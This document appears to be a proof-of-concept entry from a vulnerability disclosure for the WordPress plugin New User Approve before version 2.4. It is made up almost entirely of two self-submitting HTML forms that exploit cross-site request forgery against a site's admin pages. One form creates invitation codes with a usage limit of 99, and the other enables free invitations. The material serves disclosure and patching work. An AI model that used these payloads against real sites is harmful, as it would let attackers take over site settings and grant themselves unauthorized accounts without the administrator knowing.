New User Approve < 2.4 - Arbitrary Settings Update & Invitation Code Creation via CSRF

Add codes:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code" method="POST">
    <textarea name="nua_manual_add[codes]">test
sesame-open
let-me-in
</textarea>
    <input type="text" name="nua_manual_add[usage_limit]" value="99">
    <input type="text" name="nua_manual_add[expiry_date]" value="2022-04-30">
    <input type="text" name="nua_manual_add[submit]" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>


Update Settings:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code&action=Settings" method="POST">
    <input type="text" name="nua_free_invitation" value="enable">
    <input type="text" name="nua_inv_code_submit" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>